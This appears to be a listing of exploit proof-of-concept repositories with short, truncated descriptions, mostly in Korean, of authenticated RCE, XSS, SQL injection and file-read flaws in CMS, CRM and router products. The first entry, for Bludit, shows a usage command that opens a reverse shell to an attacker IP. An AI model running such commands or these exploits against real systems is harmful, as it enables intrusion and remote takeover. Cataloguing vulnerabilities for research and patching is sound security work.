CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE с аутентификацией Использование python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Пример...

CVE-2026-1953

CVE-2026-1953 | 저장형 XSS — Nukegraphic CMS v3.1.2 개요 Nukegraphic CMS v3.1.2 에 저장형 교차 사이트 스크립팅XSS 취약점이 존재합니다. 이 문제는 인증된 사용자가 프로필 이름 필드에 악성 JavaScript를 주입할 수 있게 하며, 이는 백엔드 데이터베이스에 저장되고 CMS 전반에서 이름이 렌더링되는 모든 곳에서 자동으로 실행됩니다. 제품: Nukegraphic CMS 버전: v3.1.2 취약점 유형: 저장형 XSS CWE-79 CVSS v3.1: 8.1 높음 벡터:...

CVE-2026-36340

CVE-2026-36340 Krayin CRM v2.1.5의 원격 코드 실행RCE 취약점 Krayin CRM v2.1.5의 원격 코드 실행RCE 취약점 CVE: CVE-2026-36340 심각도: 치명적Critical 영향을 받는 제품: Krayin CRM v2.1.5 취약점 유형: 원격 코드 실행RCE 인증 필요: 예 요약 Krayin CRM v2.1.5 에 치명적인 원격 코드 실행RCE 취약점이 존재합니다. 이 취약점은 인증된 사용자가 이메일 작성 기능을 통해 임의의 PHP 파일을 업로드할 수 있게 합니다. 업로드된 첨부...

CVE-2026-34036

CVE-2026-34036 CVE-2026-34036 에 대한 개념 증명PoC 스크립트로, Dolibarr의 인증된 로컬 파일 포함LFI 취약점입니다. 이 문제는 core/ajax/selectobject.php를 통해 접근할 수 있습니다. 인증된 사용자는 objectdesc 매개변수를 악용하여 서버의 임의 로컬 파일을 읽도록 애플리케이션을 만들 수 있습니다. 이 저장소에는 Dolibarr에 로그인하고 취약한 엔드포인트를 트리거한 다음 요청한 파일의 내용을 출력하는 간단한 스크립트가 포함되어 있습니다. 전체 보고서는 여기에서...

CVE-2026-33229

CVE-2026-33229 — Apache Velocity 샌드박스 우회를 통한 XWiki RCE XWiki Platform 의 원격 코드 실행 취약점으로, 스크립팅 권한이 있는 인증된 사용자가 Java Reflection 없이도 Velocity 컨텍스트에 이미 존재하는 사전 인스턴스화된 객체를 탐색하여 Apache Velocity 샌드박스를 완전히 우회할 수 있습니다. 📄 전체 기술 세부 정보: youssefazefzaf.com/posts/cve 세부 정보 필드| 값 ---|--- CVE ID| CVE-2026-33229...

CVE-2025-60378

CVE-2025-60378: RISE Ultimate Project Manager & CRM의 저장형 HTML 인젝션 ⚠️ 보안 권고 인보이스, 메시징 및 자동화 커뮤니케이션에 영향을 미치는 치명적인 저장형 HTML 인젝션 취약점 -ff6600 📋 개요 RISE Ultimate Project Manager & CRM에서 인증된 사용자가 인보이스 품목, 고객 메모 및 메시징 모듈에 악성 HTML을 주입할 수 있는 치명적인 저장형 HTML 인젝션 취약점이 발견되었습니다. 주입된 콘텐츠는 데이터베이스에 영구 저장되며 고객 대상 이메일...

exploit-CVE-2026-2670

exploit-CVE-2026-2670 CVE-2026-2670 – Advantech WISE-6610 명령 주입 PoC Advantech WISE-6610 산업용 셀룰러 라우터의 명령 주입 취약점을 입증하는 개념 증명 익스플로잇입니다. 이 취약점은 /cgi-bin/luci/admin/openvpnapply 엔드포인트에 존재하며, 인증된 공격자 가 임의의 시스템 명령을 실행할 수 있게 합니다. 📌 취약점 개요 WISE-6610 웹 인터페이스는 OpenVPN 구성 삭제를 처리할 때 deletefile 매개변수를 제대로 검증하지...

Weblate-CVE-2026-24126

Weblate — SSH 호스트 인자 주입을 통한 임의 파일 읽기 발견자: Alejandro Baño · 2026년 1월 승인: Weblate 5.16 릴리스 노트 개요 Weblate의 SSH 호스트 키 관리 엔드포인트는 인증된 관리자가 제공한 host 매개변수를 검증이나 인자 검사 없이ssh-keyscan에 직접 전달합니다. ssh-keyscan은 호스트 이름을 파일에서 읽어들이는 -f 플래그를 허용하므로, 관리자 자격 증명을 가진 공격자는 해당 플래그를 호스트 값으로 주입하여 서버가 임의의 로컬 파일을 열도록 강제할 수...

CVE-2024-57487-and-CVE-2024-57488

온라인 자동차 렌탈 시스템 취약점 이 저장소는 Code-Projects 온라인 자동차 렌탈 시스템 프로젝트 버전 1.0에서 식별된 취약점에 대한 세부 정보를 포함합니다. 해당 취약점에는 CVE가 할당되었으며, 문제를 이해하고 완화하는 데 도움이 되는 포괄적인 분석 자료가 포함되어 있습니다. 취약점 1. 파일 업로드를 통한 원격 코드 실행 인증 필요 CVE-ID: CVE-2024-57487 설명: 이 취약점은 인증된 공격자가 악성 PHP 파일을 업로드하여 서버에서 원격 명령 실행을 가능하게 합니다. 전체 분석 자료 보기 2...

CVE-2026-23885

보안 권고: CVE-2026-23885 AlchemyCMS의 인증된 원격 코드 실행RCE 취약점 1. 요약 AlchemyCMS 프레임워크에서 동적으로 평가되는 코드의 지시문 부적절한 중화CWE-95 와 관련된 심각한 보안 취약점이 발견되었습니다. 이 취약점은 관리자 권한을 가진 인증된 사용자가 eval 주입 지점을 통해 호스트 서버에서 임의의 Ruby 코드와 시스템 명령을 실행할 수 있게 합니다. 2. 기술적 취약점 분석 취약 구성 요소 파일: app/helpers/alchemy/resourceshelper.rb 메서드:...

EUVD-2026-95117

Malcolm's nginx based reverse proxy contains a URL path normalization inconsistency between its Lua based role-based access control RBAC authorization layer and nginx's own request routing logic. An authenticated user can craft a specially formatted request path to bypass role-based restrictions...

CVE-2026-0709

Hikvision 무선 AP – CVE-2026-0709 인증 RCE 도구 이 도구는 Hikvision 무선 액세스 포인트에서 CVE-2026-0709 를 테스트하기 위한 Python 개념 증명PoC으로, 영향을 받는 장치에서 원격 코드 실행으로 이어질 수 있는 인증된 명령 주입 취약점입니다. 본인 소유 또는 명시적으로 테스트 권한을 부여받은 시스템에 대한 보안 테스트 및 연구용으로만 사용하십시오. 설명 CVE-2026-0709는 인증된 취약점입니다. 공격자는 유효한 자격 증명으로 로그인한 후 Hikvision 무선 AP의 취...

LongBow

Archer TP-Link VR1600V 라우터 로컬 원격 명령 실행 익스플로잇 CVE-2023-31756 개요 이 Python 스크립트는 Archer TP-Link VR1600V V1/V2 라우터 내의 로컬 원격 명령 실행 취약점을 시연합니다. 이 익스플로잇을 통해 라우터에서 관리자 수준의 운영 체제 접근 권한을 얻을 수 있습니다. 이 접근 권한을 사용하여 OpenVPN 서버를 다시 활성화하고, 웹 포털에서 제한된 CWMP 및 기타 관리 작업을 비활성화할 수 있습니다. 사전 요구 사항 이 스크립트를 사용하기 전에 다음 사전 ...

CVE-2026-16348

TP-Link Archer BE800 V1 — VPN 키 주입을 통한 인증된 RCE CVE: CVE-2026-16348 CVSS: 8.5 High — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L 필요한 인증: 유효한 관리자 자격 증명 네트워크 위치: 네트워크 관리 인터페이스가 노출된 경우 원격 요약 vpn.lua의 VPN 서버 관리 엔드포인트는 사용자가 제공한 서버 키 필드를 executestring.format"vpncore.sh start %s %s %s...

CVE-2025-60880

CVE-2025-60880: Bagisto 관리자 패널의 저장형 크로스 사이트 스크립팅XSS 취약점 Bagisto 2.3.6 관리자 패널의 제품 생성 경로에 인증된 저장형 XSS 취약점이 존재하며, 공격자는 악성 JavaScript 코드가 포함된 조작된 SVG 파일을 업로드할 수 있습니다. 이 취약점은 인증된 관리자 사용자가 브라우저에서 임의의 JavaScript를 실행하는 데 악용될 수 있으며, 세션 하이재킹, 데이터 탈취 또는 무단 작업으로 이어질 수 있습니다. 취약점 개요 CVE ID : CVE-2025-60880 유형 ...

CVE-2026-10631

An authorization bypass in the EWS FindItem handler of Zimbra Collaboration Suite 10.1.0 through 10.1.19 allows an authenticated user with EWS enabled to read complete mailbox items, including raw MIME and attachments, from arbitrary local accounts without a share or delegation grant...

CVE-2026-31844

Koha CVE-2026-31844: 인증된 SQL 인젝션 개요 이 저장소는 Koha 도서관 관리 시스템의 높은 심각도의 인증된 SQL 인젝션 취약점인 CVE-2026-31844 에 대한 책임 있는 취약점 PoC를 포함합니다. 이 취약점은 /cgi-bin/koha/suggestion/suggestion.pl 스크립트에서 호출되는 C4/Search.pm의 GetDistinctValues 함수에 존재합니다. displayby 매개변수를 통해 악용될 수 있습니다. Koha 버그: 41593 수정 버전: 26.05.00,...

CVE-2025-56381

CVE-2025-56381 — ERPNext / Frappe의 orderby 및 groupby 매개변수를 통한 인증된 SQL 인젝션 📌 요약 ERPNext v15.67.0 및 Frappe Framework v15.72.4에는 frappe.desk.reportview.get API 엔드포인트에 여러 인증된 SQL 인젝션 취약점 이 존재합니다. orderby 또는 groupby 매개변수에 악의적인 입력을 주입하여 임의의 SQL 문을 실행할 수 있습니다. 이를 통해 인증된 사용자보고서에 대한 기본 액세스 권한 보유가 민감한 데이터를...

CVE-2025-8081-Elementor

CVE-2025-8081 - Elementor 임의 파일 읽기 취약점 웹 서버가 접근할 수 있는 모든 파일데이터베이스 자격 증명이 포함된 민감한 설정 파일 포함을 읽을 수 있도록 허용하는 Elementor WordPress 플러그인의 심각한 임의 파일 읽기 취약점입니다. 📋 취약점 개요 CVE 정보 속성| 값 ---|--- CVE ID| CVE-2025-8081 유형| 임의 파일 읽기 CWE-22: 경로 탐색 CVSS 점수| 4.9 중간 - 실제 영향: 치명적 CVSS 벡터|...

CVE-2021-43857

CVE-2021-43857 0.9.8 이전 버전의 Gerapy는 원격 코드 실행에 취약합니다. 이 문제는 0.9.8 버전에서 패치되었습니다. CVE-2021-43857은 원격 코드 실행으로 이어지는 Critical 우선순위CVSS 9.8로 표시된 취약점입니다. 이 취약점은 0.9.8 이전의 모든 버전에 영향을 미칩니다. 0.9.6에서만 테스트되었습니다. 올바른 자격 증명이 필요합니다. 익스플로잇은 애플리케이션에 로그인한 다음 생성된 프로젝트 목록을 가져오고없으면 실패함, 프로젝트 설정을 사용하여 리버스 셸 페이로드를 전송함으로...